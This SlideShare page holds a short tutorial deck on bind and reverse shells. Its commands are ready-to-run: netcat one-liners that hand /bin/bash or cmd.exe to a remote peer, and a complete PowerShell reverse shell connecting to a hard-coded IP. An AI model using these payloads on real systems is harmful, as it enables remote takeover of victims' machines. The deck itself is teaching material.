SlideShare a Scribd company logo
3
Most read
4
Most read
6
Most read
Infrastructure
Bind and Reverse Shell
1
2
What is Shell?
Shell
a shell is a user interface for access to an operating system's services. In general, operating
system shells use either a command-line interface (CLI) or graphical user interface (GUI),
depending on a computer's role and particular operation. It is named a shell because it is the
outermost layer around the operating system kernel.
3
Bind Shell and Reverse Shell
Reverse Shell
A reverse shell is a type of shell in which the target machine communicates back to the attacking
machine. The attacking machine has a listener port on which it receives the connection, which
by using, code or command execution is achieved.
Bind Shell
Bind shell is a type of shell in which the target machine opens up a communication port or a
listener on the victim machine and waits for an incoming connection. The attacker then
connects to the victim machine’s listener which then leads to code or command execution on
the server.
4
Netcat
Netcat
Netcat (nc) is a computer networking utility.
Netcat is a feature-rich network debugging and investigation tool,
since it can produce almost any kind of connection its user could
need and has a number of built-in capabilities.
Its list of features includes port scanning, transferring files, and port
listening, and it can be used as a backdoor.
Example:
Nc –lvp port
Nc ip port –e /bin/bash
Flags:
-l Listen
-p Port
-v Verbose
-e Execute
5
Powershell
Powershell
PowerShell is a task automation and configuration management framework
from Microsoft, consisting of a command-line shell and associated scripting
language.
As a scripting language Power shell can be used for reverse shell.
Powershell – Reverse shell example:
$c = New-Object System.Net.Sockets.TCPClient("104.197.26.36",80);$s =
$c.GetStream();[byte[]]$b = 0..255|%{0};while(($i = $s.Read($b, 0, $b.Length))
-ne 0){;$d = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $d 2>&1 | Out-String
);$sb2 = $sb + "PS " + (pwd).Path + "> ";$sby =
([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sby,0,$sby.Length);$s.Flush()
};$c.Close()
6
Example of Bind Shell and Reverse Shell
Exmaple of Bind Shell using netcat
Attacker:
Nc ip port
Victim:
Nc –lvp 80 –e cmd.exe
On this situation the attacker is connecting to victim (Bind Shell).
Bind Shell is more easy to monitor and harder to pass the firewall.
Exmaple of Reverse Shell using netcat
Attacker:
Nc –lvp 80
Victim:
Nc ip port –e cmd.exe
On this situation the victim is connecting to Attacker (Reverse Shell)
Reverse Shell is harder to monitor and easy to pass the firewall.

More Related Content

PDF
Jenkins
PPTX
Leveraging Nexus Repository Manager at the Heart of DevOps
PPTX
Tutorial: Using GoBGP as an IXP connecting router
PPTX
HAProxy
PDF
EBPF and Linux Networking
PPTX
Linux Network Stack
PDF
Docker 101
PPTX
Introduction to CNI (Container Network Interface)
Jenkins
Leveraging Nexus Repository Manager at the Heart of DevOps
Tutorial: Using GoBGP as an IXP connecting router
HAProxy
EBPF and Linux Networking
Linux Network Stack
Docker 101
Introduction to CNI (Container Network Interface)

What's hot (20)

PDF
Cilium - API-aware Networking and Security for Containers based on BPF
PDF
Automating Network Infrastructure : Ansible
PDF
Kubernetes - A Comprehensive Overview
PDF
F5 DDoS Protection
PDF
ODP
eBPF maps 101
PDF
PDF
Linux 4.x Tracing: Performance Analysis with bcc/BPF
PDF
Faster packet processing in Linux: XDP
DOCX
Type of DDoS attacks with hping3 example
PPTX
eBPF Basics
PDF
eBPF - Rethinking the Linux Kernel
ODP
OpenStack Oslo Messaging RPC API Tutorial Demo Call, Cast and Fanout
PDF
Introduction to eBPF
PDF
BPF / XDP 8월 세미나 KossLab
PDF
Introduction to OFI
PDF
Booting Android: bootloaders, fastboot and boot images
PPTX
Understanding eBPF in a Hurry!
PPT
Logstash
ODP
nftables - the evolution of Linux Firewall
Cilium - API-aware Networking and Security for Containers based on BPF
Automating Network Infrastructure : Ansible
Kubernetes - A Comprehensive Overview
F5 DDoS Protection
eBPF maps 101
Linux 4.x Tracing: Performance Analysis with bcc/BPF
Faster packet processing in Linux: XDP
Type of DDoS attacks with hping3 example
eBPF Basics
eBPF - Rethinking the Linux Kernel
OpenStack Oslo Messaging RPC API Tutorial Demo Call, Cast and Fanout
Introduction to eBPF
BPF / XDP 8월 세미나 KossLab
Introduction to OFI
Booting Android: bootloaders, fastboot and boot images
Understanding eBPF in a Hurry!
Logstash
nftables - the evolution of Linux Firewall
Ad

Similar to Reverse shell (20)

PPTX
The Veil-Framework
PPTX
Buffer overflow attacks
PDF
Shell tutorial
PPTX
Return oriented programming (ROP)
PPT
SQL Server Security - Attack
PPT
UNIX.ppt
PDF
Driver Programming Report
PPTX
Post exploitation using powershell
PDF
The Dark Side of PowerShell by George Dobrea
PDF
DefCon 2012 - Rooting SOHO Routers
DOCX
Unix lab manual
PDF
Lecture1: NGS Analysis on Beocat and an introduction to Perl programming for ...
PPT
Dotnetintroduce 100324201546-phpapp02
PPT
Microkernel-based operating system development
DOCX
Backtrack Manual Part6
DOCX
Srgoc dotnet
PDF
LibOS as a regression test framework for Linux networking #netdev1.1
PDF
2023comp90024_linux.pdf
PDF
Reverse engineering - Shellcodes techniques
PPTX
Dynamic virtual evironments
The Veil-Framework
Buffer overflow attacks
Shell tutorial
Return oriented programming (ROP)
SQL Server Security - Attack
UNIX.ppt
Driver Programming Report
Post exploitation using powershell
The Dark Side of PowerShell by George Dobrea
DefCon 2012 - Rooting SOHO Routers
Unix lab manual
Lecture1: NGS Analysis on Beocat and an introduction to Perl programming for ...
Dotnetintroduce 100324201546-phpapp02
Microkernel-based operating system development
Backtrack Manual Part6
Srgoc dotnet
LibOS as a regression test framework for Linux networking #netdev1.1
2023comp90024_linux.pdf
Reverse engineering - Shellcodes techniques
Dynamic virtual evironments
Ad

More from Ilan Mindel (12)

PPTX
PPTX
PPTX
PPTX
Sql injection
PPTX
Lfi rfi
PPTX
Creds extraction
PPTX
Tunneling
PPTX
Responder
PPTX
Ports and services
PPTX
Password cracking
PPTX
Formula injection/DDE/Macro
PPTX
Responder PPT
Sql injection
Lfi rfi
Creds extraction
Tunneling
Responder
Ports and services
Password cracking
Formula injection/DDE/Macro
Responder PPT

Recently uploaded (20)

PDF
The New Creative Director: How AI Tools for Social Media Content Creation Are...
PPTX
PptxGenJS_Demo_Chart_20250317130215833.pptx
PDF
WebRTC in SignalWire - troubleshooting media negotiation
PDF
The Internet -By the Numbers, Sri Lanka Edition
PDF
Vigrab.top – Online Tool for Downloading and Converting Social Media Videos a...
PDF
An introduction to the IFRS (ISSB) Stndards.pdf
PPTX
innovation process that make everything different.pptx
PDF
APNIC Update, presented at PHNOG 2025 by Shane Hermoso
PPTX
Introduction about ICD -10 and ICD11 on 5.8.25.pptx
PPT
tcp ip networks nd ip layering assotred slides
PDF
Tenda Login Guide: Access Your Router in 5 Easy Steps
PPTX
Digital Literacy And Online Safety on internet
PPTX
Introuction about ICD -10 and ICD-11 PPT.pptx
PPTX
SAP Ariba Sourcing PPT for learning material
PPTX
Introuction about WHO-FIC in ICD-10.pptx
PDF
Unit-1 introduction to cyber security discuss about how to secure a system
PPTX
CHE NAA, , b,mn,mblblblbljb jb jlb ,j , ,C PPT.pptx
PDF
Paper PDF World Game (s) Great Redesign.pdf
PPTX
Introduction to Information and Communication Technology
PDF
Decoding a Decade: 10 Years of Applied CTI Discipline
The New Creative Director: How AI Tools for Social Media Content Creation Are...
PptxGenJS_Demo_Chart_20250317130215833.pptx
WebRTC in SignalWire - troubleshooting media negotiation
The Internet -By the Numbers, Sri Lanka Edition
Vigrab.top – Online Tool for Downloading and Converting Social Media Videos a...
An introduction to the IFRS (ISSB) Stndards.pdf
innovation process that make everything different.pptx
APNIC Update, presented at PHNOG 2025 by Shane Hermoso
Introduction about ICD -10 and ICD11 on 5.8.25.pptx
tcp ip networks nd ip layering assotred slides
Tenda Login Guide: Access Your Router in 5 Easy Steps
Digital Literacy And Online Safety on internet
Introuction about ICD -10 and ICD-11 PPT.pptx
SAP Ariba Sourcing PPT for learning material
Introuction about WHO-FIC in ICD-10.pptx
Unit-1 introduction to cyber security discuss about how to secure a system
CHE NAA, , b,mn,mblblblbljb jb jlb ,j , ,C PPT.pptx
Paper PDF World Game (s) Great Redesign.pdf
Introduction to Information and Communication Technology
Decoding a Decade: 10 Years of Applied CTI Discipline

Reverse shell

  • 2. 2 What is Shell? Shell a shell is a user interface for access to an operating system's services. In general, operating system shells use either a command-line interface (CLI) or graphical user interface (GUI), depending on a computer's role and particular operation. It is named a shell because it is the outermost layer around the operating system kernel.
  • 3. 3 Bind Shell and Reverse Shell Reverse Shell A reverse shell is a type of shell in which the target machine communicates back to the attacking machine. The attacking machine has a listener port on which it receives the connection, which by using, code or command execution is achieved. Bind Shell Bind shell is a type of shell in which the target machine opens up a communication port or a listener on the victim machine and waits for an incoming connection. The attacker then connects to the victim machine’s listener which then leads to code or command execution on the server.
  • 4. 4 Netcat Netcat Netcat (nc) is a computer networking utility. Netcat is a feature-rich network debugging and investigation tool, since it can produce almost any kind of connection its user could need and has a number of built-in capabilities. Its list of features includes port scanning, transferring files, and port listening, and it can be used as a backdoor. Example: Nc –lvp port Nc ip port –e /bin/bash Flags: -l Listen -p Port -v Verbose -e Execute
  • 5. 5 Powershell Powershell PowerShell is a task automation and configuration management framework from Microsoft, consisting of a command-line shell and associated scripting language. As a scripting language Power shell can be used for reverse shell. Powershell – Reverse shell example: $c = New-Object System.Net.Sockets.TCPClient("104.197.26.36",80);$s = $c.GetStream();[byte[]]$b = 0..255|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $d 2>&1 | Out-String );$sb2 = $sb + "PS " + (pwd).Path + "> ";$sby = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sby,0,$sby.Length);$s.Flush() };$c.Close()
  • 6. 6 Example of Bind Shell and Reverse Shell Exmaple of Bind Shell using netcat Attacker: Nc ip port Victim: Nc –lvp 80 –e cmd.exe On this situation the attacker is connecting to victim (Bind Shell). Bind Shell is more easy to monitor and harder to pass the firewall. Exmaple of Reverse Shell using netcat Attacker: Nc –lvp 80 Victim: Nc ip port –e cmd.exe On this situation the victim is connecting to Attacker (Reverse Shell) Reverse Shell is harder to monitor and easy to pass the firewall.